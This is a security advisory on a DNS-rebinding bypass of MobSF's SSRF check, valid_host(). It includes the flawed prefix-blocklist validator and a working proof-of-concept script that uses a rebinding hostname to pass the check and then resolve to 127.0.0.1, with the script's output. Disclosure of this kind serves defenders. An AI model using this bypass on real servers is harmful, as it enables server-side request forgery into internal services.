GHSA-fcfq-m8p6-gw56

Summary

The latest deployed fix for the SSRF vulnerability is through the use of the call valid_host(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.

PoC

The following proof of concept:

def valid_host(host):
    """Check if host is valid."""
    try:
        prefixs = ('http://', 'https://')
        if not host.startswith(prefixs):
            host = f'http://{host}'
        parsed = urlparse(host)
        domain = parsed.netloc
        path = parsed.path
        if len(domain) == 0:
            # No valid domain
            return False, None
        if len(path) > 0:
            # Only host is allowed
            return False, None
        if ':' in domain:
            # IPv6
            return False, None
        # Local network
        invalid_prefix = (
            '100.64.',
            '127.',
            '192.',
            '198.',
            '10.',
            '172.',
            '169.',
            '0.',
            '203.0.',
            '224.0.',
            '240.0',
            '255.255.',
            'localhost',
            '::1',
            '64::ff9b::',
            '100::',
            '2001::',
            '2002::',
            'fc00::',
            'fe80::',
            'ff00::')
        if domain.startswith(invalid_prefix):
            return False, None
        ip = socket.gethostbyname(domain)
        if ip.startswith(invalid_prefix):
            # Resolve dns to get IP
            return False, None
        return True, ip
    except Exception:
        return False, None

import random
import time
import socket
from urllib.parse import urlparse

if __name__ == '__main__':
    print("Generating random host ...", end=' ')     
    prefix = random.randint(999_999, 9_999_999)
    host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms"
    print("Done")
    print(f"Testing with '{host}' ... ", end=" ")
    valid, ip = valid_host(host)
    if valid:
        print(f"Successful Bypass")
        print(f" - Host initially resolved to: {ip}")
        print("Sleeping for 1 second ...")
        time.sleep(1)
        print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}")
        print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}")
        print("Sleeping for 30 seconds ...")
        time.sleep(30)
    else:
        print(f"Invalid host")

Yields :

$ python3 poc.py
Generating random host ... Done
Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ...  Successful Bypass
 - Host initially resolved to: 1.1.1.1
Sleeping for 1 second ...
 - Second use host will be resolved to: 127.0.0.1
 - Third use host will be resolved to: 127.0.0.1
Sleeping for 30 seconds ...

Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds. As you can notice the initial resolution was pointing to 1.1.1.1. The second time the IP was resolved to 127.0.0.1. Such an attack could be adjusted for other IP addresses.

Impact

The usual impact of Server-side request forgery.

Remediation

• Avoid the use of socket.gethostbyname() since it issues and DNS query.